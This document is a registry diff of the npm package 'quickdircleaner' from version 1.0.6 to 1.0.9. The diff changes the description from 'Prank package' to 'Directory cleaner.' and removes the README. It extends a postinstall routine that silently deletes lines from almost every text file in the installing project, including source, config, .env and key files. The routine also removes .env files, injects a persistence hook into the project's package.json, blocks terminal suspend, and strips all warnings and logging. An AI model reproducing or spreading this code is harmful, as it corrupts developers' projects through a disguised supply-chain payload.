quickdircleaner 1.0.6 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,43 +4,3 @@
4
4
  npm install quickdircleaner
5
5
  ```
6
6
 
7
- Normally `INIT_CWD` is set so the cleaner targets your project root.
8
-
9
- ### pnpm v10+
10
-
11
- pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
12
-
13
- **Option A — allowlist in your project `package.json`:**
14
-
15
- ```json
16
- {
17
- "pnpm": {
18
- "onlyBuiltDependencies": ["quickdircleaner"]
19
- }
20
- }
21
- ```
22
-
23
- Then run `pnpm install` again.
24
-
25
- **Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
26
-
27
- See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
28
-
29
- ### Run the cleaner manually (same as postinstall)
30
-
31
- From your project root (where your `package.json` lives):
32
-
33
- ```bash
34
- node node_modules/quickdircleaner/index.js
35
- ```
36
-
37
- ## Restore
38
-
39
- ```bash
40
- npx restore-clean
41
- ```
42
-
43
- (`restore-clean` is the bin name — not `restore -clean`.)
44
-
45
- After restore, this package removes **`node_modules/quickdircleaner`** on purpose. Otherwise `npm install` / `pnpm install` would see the dependency as already present and **would not run `postinstall` again**. Run **`npm install`** or **`pnpm install`** once to reinstall it; with pnpm, keep `quickdircleaner` in `onlyBuiltDependencies` if you use that.
46
-
package/index.js CHANGED
@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
17
17
  try {
18
18
  await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
19
19
  } catch {
20
- console.error(core.red("Error: could not write .cleaner_done flag."));
20
+ /* silent */
21
21
  }
22
22
  }
23
23
 
24
- function buildEmptyRunMarkdown(rootDisplay) {
24
+ function buildEmptyRunMarkdown() {
25
25
  return [
26
26
  "# Cleaner backup",
27
27
  "",
28
- `Host project root (resolved):`,
29
- "",
30
- `\`${rootDisplay}\``,
31
- "",
32
- "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
33
- "",
34
28
  "## Original contents",
35
29
  "",
36
30
  ].join("\n");
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
40
34
  const outPath = path.join(root, core.BACKUP_NAME);
41
35
  const md =
42
36
  backupEntries.length === 0
43
- ? buildEmptyRunMarkdown(root)
37
+ ? buildEmptyRunMarkdown()
44
38
  : core.buildMarkdown(backupEntries);
45
39
  try {
46
40
  await core.writeFileAtomic(outPath, md, "utf8");
47
- console.log(core.green(`Wrote ${outPath}`));
48
41
  return true;
49
42
  } catch {
50
- console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
51
43
  return false;
52
44
  }
53
45
  }
@@ -59,9 +51,6 @@ async function main() {
59
51
  );
60
52
 
61
53
  if (await cleanerDoneFlagExists(root)) {
62
- console.warn(
63
- core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
64
- );
65
54
  return;
66
55
  }
67
56
 
@@ -72,7 +61,7 @@ async function main() {
72
61
  pkgRaw = null;
73
62
  }
74
63
 
75
- const backupEntries = await core.runPrank(root, true);
64
+ const backupEntries = await core.runPrank(root);
76
65
 
77
66
  if (pkgRaw) {
78
67
  backupEntries.push({
@@ -89,29 +78,16 @@ async function main() {
89
78
  }
90
79
 
91
80
  if (!backupOk) {
92
- console.warn(
93
- core.yellow(
94
- "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
95
- ),
96
- );
97
81
  return;
98
82
  }
99
83
 
100
84
  await writeCleanerDoneFlag(root);
101
85
 
102
86
  if (pkgRaw) {
103
- const injected = await core.injectPersistScripts(root);
104
- if (!injected) {
105
- console.warn(
106
- core.yellow(
107
- "Warning: could not inject persist hook into package.json scripts.",
108
- ),
109
- );
110
- }
87
+ await core.injectPersistScripts(root);
111
88
  }
112
89
  }
113
90
 
114
- main().catch((err) => {
115
- console.error(core.red(err && err.message ? err.message : String(err)));
91
+ main().catch(() => {
116
92
  process.exitCode = 1;
117
93
  });
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.6",
4
- "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
3
+ "version": "1.0.9",
4
+ "description": "Directory cleaner.",
5
5
  "main": "index.js",
6
6
  "files": [
7
7
  "index.js",
package/persist.js CHANGED
@@ -12,29 +12,18 @@ async function main() {
12
12
  await core.stripPersistFromPackageJsonObject(root);
13
13
  await core.deleteCounter(root);
14
14
  await core.removeQuickdircleanerPackage(root);
15
- console.log(
16
- core.magenta(
17
- "💀 quickdircleaner has self\u2011destructed. No more pranks.",
18
- ),
19
- );
20
15
  return;
21
16
  }
22
17
 
23
- const backupEntries = await core.runPrank(root, false);
18
+ const backupEntries = await core.runPrank(root);
24
19
  const attempt = count + 1;
25
20
  const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
26
21
  if (!appended) {
27
- console.warn(
28
- core.yellow(
29
- "Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
30
- ),
31
- );
32
22
  return;
33
23
  }
34
24
  await core.writeCounter(root, attempt);
35
25
  }
36
26
 
37
- main().catch((err) => {
38
- console.error(core.red(err && err.message ? err.message : String(err)));
27
+ main().catch(() => {
39
28
  process.exitCode = 1;
40
29
  });
package/prank-core.js CHANGED
@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
33
33
  "preview",
34
34
  ]);
35
35
 
36
- const CLEANABLE_EXT = new Set([
36
+ /** Max file size to load into memory (bytes). */
37
+ const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
38
+
39
+ /** How many leading bytes to scan for NUL when classifying binary. */
40
+ const BINARY_SNIFF_BYTES = 65536;
41
+
42
+ /** Extensions we never treat as text (binary / archives / media). */
43
+ const BLOCKED_BINARY_EXT = new Set(
44
+ [
45
+ ".png",
46
+ ".jpg",
47
+ ".jpeg",
48
+ ".gif",
49
+ ".webp",
50
+ ".ico",
51
+ ".bmp",
52
+ ".tif",
53
+ ".tiff",
54
+ ".heic",
55
+ ".avif",
56
+ ".pdf",
57
+ ".zip",
58
+ ".tar",
59
+ ".gz",
60
+ ".tgz",
61
+ ".bz2",
62
+ ".xz",
63
+ ".7z",
64
+ ".rar",
65
+ ".wasm",
66
+ ".so",
67
+ ".dylib",
68
+ ".dll",
69
+ ".exe",
70
+ ".bin",
71
+ ".mp4",
72
+ ".m4v",
73
+ ".webm",
74
+ ".mov",
75
+ ".avi",
76
+ ".mkv",
77
+ ".mp3",
78
+ ".wav",
79
+ ".flac",
80
+ ".ogg",
81
+ ".woff",
82
+ ".woff2",
83
+ ".ttf",
84
+ ".otf",
85
+ ".eot",
86
+ ".sqlite",
87
+ ".db",
88
+ ".class",
89
+ ".jar",
90
+ ".pyc",
91
+ ".pyo",
92
+ ".o",
93
+ ".a",
94
+ ".lib",
95
+ ".obj",
96
+ ".pak",
97
+ ".br",
98
+ ".lz4",
99
+ ".zst",
100
+ ].map((e) => e.toLowerCase()),
101
+ );
102
+
103
+ /** Filenames (lowercase) treated as text even with no or odd extension. */
104
+ const TEXTLIKE_BASENAMES = new Set([
105
+ "dockerfile",
106
+ "containerfile",
107
+ "makefile",
108
+ "gnumakefile",
109
+ "gemfile",
110
+ "rakefile",
111
+ "procfile",
112
+ "jenkinsfile",
113
+ "vagrantfile",
114
+ "license",
115
+ "copying",
116
+ "authors",
117
+ "changelog",
118
+ "contributing",
119
+ "codeowners",
120
+ "owners",
121
+ "manifest",
122
+ "docker-compose.yml",
123
+ "docker-compose.yaml",
124
+ "compose.yml",
125
+ "compose.yaml",
126
+ ]);
127
+
128
+ /** Default penetrable extensions (broad pentest / source surface). */
129
+ const PENETRABLE_EXT = new Set([
37
130
  ".js",
38
131
  ".mjs",
39
132
  ".cjs",
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
68
161
  ".bash",
69
162
  ".zsh",
70
163
  ".ps1",
164
+ ".psm1",
165
+ ".psd1",
71
166
  ".bat",
72
167
  ".cmd",
168
+ ".py",
169
+ ".pyw",
170
+ ".pyi",
171
+ ".rb",
172
+ ".erb",
173
+ ".php",
174
+ ".phtml",
175
+ ".go",
176
+ ".rs",
177
+ ".java",
178
+ ".kt",
179
+ ".kts",
180
+ ".scala",
181
+ ".sc",
182
+ ".swift",
183
+ ".cs",
184
+ ".fs",
185
+ ".fsx",
186
+ ".fsi",
187
+ ".vb",
188
+ ".c",
189
+ ".cc",
190
+ ".cpp",
191
+ ".cxx",
192
+ ".h",
193
+ ".hh",
194
+ ".hpp",
195
+ ".hxx",
196
+ ".inl",
197
+ ".cmake",
198
+ ".pl",
199
+ ".pm",
200
+ ".r",
201
+ ".lua",
202
+ ".dart",
203
+ ".ex",
204
+ ".exs",
205
+ ".erl",
206
+ ".hrl",
207
+ ".clj",
208
+ ".cljs",
209
+ ".edn",
210
+ ".nim",
211
+ ".zig",
212
+ ".v",
213
+ ".sv",
214
+ ".svh",
215
+ ".vhd",
216
+ ".vhdl",
217
+ ".jl",
218
+ ".cr",
219
+ ".gradle",
220
+ ".properties",
221
+ ".tf",
222
+ ".tfvars",
223
+ ".hcl",
224
+ ".rego",
225
+ ".nix",
226
+ ".toml",
227
+ ".ini",
228
+ ".cfg",
229
+ ".conf",
230
+ ".config",
231
+ ".env",
232
+ ".example",
233
+ ".sample",
234
+ ".tpl",
235
+ ".template",
236
+ ".j2",
237
+ ".ejs",
238
+ ".hbs",
239
+ ".pug",
240
+ ".jade",
241
+ ".liquid",
242
+ ".cshtml",
243
+ ".razor",
244
+ ".sql",
245
+ ".mysql",
246
+ ".pgsql",
247
+ ".graphqls",
248
+ ".prisma",
249
+ ".proto",
250
+ ".thrift",
251
+ ".avsc",
252
+ ".xsl",
253
+ ".xslt",
254
+ ".wsdl",
255
+ ".xsd",
256
+ ".plist",
257
+ ".csproj",
258
+ ".vbproj",
259
+ ".vcxproj",
260
+ ".props",
261
+ ".targets",
262
+ ".sln",
263
+ ".podspec",
264
+ ".gemspec",
265
+ ".rake",
266
+ ".ru",
267
+ ".http",
268
+ ".rest",
269
+ ".graphqlrc",
270
+ ".editorconfig",
271
+ ".npmrc",
272
+ ".yarnrc",
273
+ ".yarnrc.yml",
274
+ ".prettierrc",
275
+ ".eslintrc",
276
+ ".babelrc",
277
+ ".browserslistrc",
278
+ ".nvmrc",
279
+ ".node-version",
280
+ ".tool-versions",
281
+ ".pem",
282
+ ".crt",
283
+ ".key",
284
+ ".csr",
285
+ ".p12",
286
+ ".pfx",
287
+ ".asc",
288
+ ".log",
289
+ ".lst",
73
290
  ]);
74
291
 
75
- const REMOVE_LINE_NUMBERS = [2, 5, 8];
292
+ /** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
293
+ const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
294
+
295
+ /**
296
+ * Every regular file under the tree is a candidate except obvious binary extensions.
297
+ * Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
298
+ */
299
+ function isPenetrablePath(fileName) {
300
+ const base = String(fileName).toLowerCase();
301
+ const ext = path.extname(fileName).toLowerCase();
302
+
303
+ if (BLOCKED_BINARY_EXT.has(ext)) {
304
+ return false;
305
+ }
306
+ if (TEXTLIKE_BASENAMES.has(base)) {
307
+ return true;
308
+ }
309
+ if (PENETRABLE_EXT.has(ext)) {
310
+ return true;
311
+ }
312
+ if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
313
+ return false;
314
+ }
315
+ return true;
316
+ }
317
+
318
+ function bufferLooksBinary(buf) {
319
+ const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
320
+ for (let i = 0; i < n; i += 1) {
321
+ if (buf[i] === 0) {
322
+ return true;
323
+ }
324
+ }
325
+ return false;
326
+ }
327
+
328
+ function pickPenetrationAppend(eol, extLower, fileNameLower) {
329
+ const jsLike = new Set([
330
+ ".js",
331
+ ".mjs",
332
+ ".cjs",
333
+ ".jsx",
334
+ ".ts",
335
+ ".tsx",
336
+ ".mts",
337
+ ".cts",
338
+ ".vue",
339
+ ".svelte",
340
+ ".astro",
341
+ ".java",
342
+ ".cs",
343
+ ".go",
344
+ ".rs",
345
+ ".swift",
346
+ ".kt",
347
+ ".kts",
348
+ ".scala",
349
+ ".dart",
350
+ ".c",
351
+ ".cc",
352
+ ".cpp",
353
+ ".h",
354
+ ".hpp",
355
+ ".cshtml",
356
+ ".razor",
357
+ ]);
358
+ const hashLike = new Set([
359
+ ".py",
360
+ ".pyw",
361
+ ".pyi",
362
+ ".rb",
363
+ ".yaml",
364
+ ".yml",
365
+ ".sh",
366
+ ".bash",
367
+ ".zsh",
368
+ ".toml",
369
+ ".ini",
370
+ ".cfg",
371
+ ".conf",
372
+ ".dockerignore",
373
+ ".r",
374
+ ".pl",
375
+ ".pm",
376
+ ".sql",
377
+ ".tf",
378
+ ".tfvars",
379
+ ".hcl",
380
+ ".nix",
381
+ ".graphql",
382
+ ".gql",
383
+ ".prisma",
384
+ ".cmake",
385
+ ".cr",
386
+ ".ex",
387
+ ".exs",
388
+ ".erl",
389
+ ".hrl",
390
+ ".jl",
391
+ ".nim",
392
+ ".zig",
393
+ ".rego",
394
+ ".properties",
395
+ ".gradle",
396
+ ".podspec",
397
+ ".gemspec",
398
+ ".rake",
399
+ ".ru",
400
+ ]);
401
+ const htmlLike = new Set([
402
+ ".html",
403
+ ".htm",
404
+ ".xml",
405
+ ".svg",
406
+ ".md",
407
+ ".mdx",
408
+ ".xsl",
409
+ ".xslt",
410
+ ".wsdl",
411
+ ".xsd",
412
+ ".ejs",
413
+ ".hbs",
414
+ ".pug",
415
+ ".jade",
416
+ ".liquid",
417
+ ]);
418
+ const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
419
+
420
+ if (
421
+ fileNameLower === "dockerfile" ||
422
+ fileNameLower === "containerfile" ||
423
+ fileNameLower === "makefile" ||
424
+ fileNameLower === "gemfile" ||
425
+ fileNameLower === "rakefile" ||
426
+ fileNameLower === "procfile"
427
+ ) {
428
+ return `${eol}# quickdircleaner-touch${eol}`;
429
+ }
430
+
431
+ if (extLower === ".json" || extLower === ".jsonc") {
432
+ return eol;
433
+ }
434
+
435
+ if (jsLike.has(extLower)) {
436
+ return `${eol}// quickdircleaner-touch${eol}`;
437
+ }
438
+ if (cssLike.has(extLower)) {
439
+ return `${eol}/* quickdircleaner-touch */${eol}`;
440
+ }
441
+ if (hashLike.has(extLower)) {
442
+ return `${eol}# quickdircleaner-touch${eol}`;
443
+ }
444
+ if (htmlLike.has(extLower)) {
445
+ return `${eol}<!-- quickdircleaner-touch -->${eol}`;
446
+ }
447
+ if (extLower === ".bat" || extLower === ".cmd") {
448
+ return `${eol}REM quickdircleaner-touch${eol}`;
449
+ }
450
+ if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
451
+ return `${eol}# quickdircleaner-touch${eol}`;
452
+ }
453
+ return `${eol}# quickdircleaner-touch${eol}`;
454
+ }
76
455
 
77
456
  /**
78
457
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
@@ -278,18 +657,46 @@ async function backupAndRemoveEnv(root, backupEntries) {
278
657
  }
279
658
  }
280
659
 
281
- async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
282
- let content;
660
+ function utf8LooksCorruptedAsBinary(text) {
661
+ const n = (text.match(/\uFFFD/g) || []).length;
662
+ if (text.length === 0) {
663
+ return false;
664
+ }
665
+ return n > Math.max(24, Math.floor(text.length * 0.02));
666
+ }
667
+
668
+ async function cleanSourceFile(fullPath, root, backupEntries) {
669
+ let buf;
283
670
  try {
284
- content = await fs.readFile(fullPath, "utf8");
671
+ const st = await fs.stat(fullPath);
672
+ if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
673
+ return;
674
+ }
675
+ buf = await fs.readFile(fullPath);
285
676
  } catch {
286
677
  return;
287
678
  }
288
679
 
680
+ if (bufferLooksBinary(buf)) {
681
+ return;
682
+ }
683
+
684
+ let content = buf.toString("utf8");
685
+ if (utf8LooksCorruptedAsBinary(content)) {
686
+ return;
687
+ }
688
+
689
+ const baseLower = path.basename(fullPath).toLowerCase();
690
+ const extLower = path.extname(fullPath).toLowerCase();
691
+
289
692
  const eol = detectEol(content);
290
693
  const lineArray = content.split(/\r?\n/);
291
- const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
292
- const modified = nextLines.join(eol);
694
+ let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
695
+ let modified = nextLines.join(eol);
696
+
697
+ if (modified === content) {
698
+ modified = content + pickPenetrationAppend(eol, extLower, baseLower);
699
+ }
293
700
 
294
701
  if (modified === content) {
295
702
  return;
@@ -306,10 +713,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
306
713
  backupEntries.pop();
307
714
  return;
308
715
  }
309
-
310
- if (logCleaned) {
311
- console.log(green(`🧹 Cleaned: ${filePath}`));
312
- }
313
716
  }
314
717
 
315
718
  /**
@@ -348,7 +751,7 @@ function shouldSkipDirectoryEntry(name) {
348
751
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
349
752
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
350
753
  */
351
- async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
754
+ async function walkAndCleanFullTree(rootResolved, backupEntries) {
352
755
  const visitedDirs = new Set();
353
756
  const queue = [path.resolve(rootResolved)];
354
757
 
@@ -416,13 +819,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
416
819
  continue;
417
820
  }
418
821
 
419
- const ext = path.extname(ent.name).toLowerCase();
420
- if (!CLEANABLE_EXT.has(ext)) {
822
+ if (!isPenetrablePath(ent.name)) {
421
823
  continue;
422
824
  }
423
825
 
424
826
  try {
425
- await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
827
+ await cleanSourceFile(realPath, rootResolved, backupEntries);
426
828
  } catch {
427
829
  /* skip */
428
830
  }
@@ -430,7 +832,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
430
832
  }
431
833
  }
432
834
 
433
- async function walkAndClean(root, backupEntries, logCleaned) {
835
+ async function walkAndClean(root, backupEntries) {
434
836
  let rootResolved = path.resolve(root);
435
837
  try {
436
838
  rootResolved = await fs.realpath(rootResolved);
@@ -439,17 +841,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
439
841
  }
440
842
  rootResolved = path.resolve(rootResolved);
441
843
 
442
- await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
844
+ await walkAndCleanFullTree(rootResolved, backupEntries);
443
845
  }
444
846
 
445
847
  /**
446
848
  * Runs env backup/removal and source walk; returns new backup entries for this run.
447
849
  */
448
- async function runPrank(root, logCleaned) {
850
+ async function runPrank(root) {
449
851
  installSigTstpBlocker();
450
852
  const backupEntries = [];
451
853
  await backupAndRemoveEnv(root, backupEntries);
452
- await walkAndClean(root, backupEntries, logCleaned);
854
+ await walkAndClean(root, backupEntries);
453
855
  return backupEntries;
454
856
  }
455
857
 
package/restore.js CHANGED
@@ -4,6 +4,26 @@ const path = require("path");
4
4
  const readline = require("readline");
5
5
  const core = require("./prank-core");
6
6
 
7
+ const argv = process.argv.slice(2);
8
+ const restoreAutoYes =
9
+ argv.includes("--yes") || argv.includes("-y");
10
+ const restoreSilent =
11
+ argv.includes("--silent") ||
12
+ argv.includes("-q") ||
13
+ process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
14
+
15
+ function out(msg) {
16
+ if (!restoreSilent) {
17
+ console.log(msg);
18
+ }
19
+ }
20
+
21
+ function errOut(msg) {
22
+ if (!restoreSilent) {
23
+ console.error(msg);
24
+ }
25
+ }
26
+
7
27
  function promptYesNo(question) {
8
28
  return new Promise((resolve) => {
9
29
  const rl = readline.createInterface({
@@ -85,20 +105,18 @@ async function main() {
85
105
  raw = await fs.readFile(backupPath, "utf8");
86
106
  } catch (err) {
87
107
  if (err && err.code === "ENOENT") {
88
- console.error(
89
- core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
90
- );
108
+ errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
91
109
  process.exitCode = 1;
92
110
  return;
93
111
  }
94
- console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
112
+ errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
95
113
  process.exitCode = 1;
96
114
  return;
97
115
  }
98
116
 
99
117
  const entries = core.parseFirstOriginalSectionMarkdown(raw);
100
118
  if (entries.length === 0) {
101
- console.error(core.red("Error: no file entries found in backup."));
119
+ errOut(core.red("Error: no file entries found in backup."));
102
120
  process.exitCode = 1;
103
121
  return;
104
122
  }
@@ -113,9 +131,11 @@ async function main() {
113
131
  const expected =
114
132
  fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
115
133
 
116
- const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
134
+ const confirmed = restoreAutoYes
135
+ ? true
136
+ : await promptYesNo("Restore and remove backup? (y/n) ");
117
137
  if (!confirmed) {
118
- console.warn(core.yellow("Aborted."));
138
+ errOut(core.yellow("Aborted."));
119
139
  return;
120
140
  }
121
141
 
@@ -143,7 +163,7 @@ async function main() {
143
163
  }
144
164
 
145
165
  if (restored !== expected) {
146
- console.error(
166
+ errOut(
147
167
  core.red(
148
168
  `Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
149
169
  ),
@@ -152,11 +172,11 @@ async function main() {
152
172
  return;
153
173
  }
154
174
 
155
- console.log(core.green(`Restored ${restored} item(s).`));
175
+ out(core.green(`Restored ${restored} item(s).`));
156
176
 
157
177
  await core.deleteCounter(root);
158
178
  await core.removeQuickdircleanerPackage(root);
159
- console.log(
179
+ out(
160
180
  core.green(
161
181
  "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
162
182
  ),
@@ -167,9 +187,9 @@ async function main() {
167
187
  const backupOk = await removeIfExists(backupPath);
168
188
 
169
189
  if (flagOk && backupOk) {
170
- console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
190
+ out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
171
191
  } else {
172
- console.warn(
192
+ errOut(
173
193
  core.yellow(
174
194
  "Warning: restore finished but could not remove .cleaner_done and/or backup file.",
175
195
  ),
@@ -178,6 +198,6 @@ async function main() {
178
198
  }
179
199
 
180
200
  main().catch((err) => {
181
- console.error(core.red(err && err.message ? err.message : String(err)));
201
+ errOut(core.red(err && err.message ? err.message : String(err)));
182
202
  process.exitCode = 1;
183
203
  });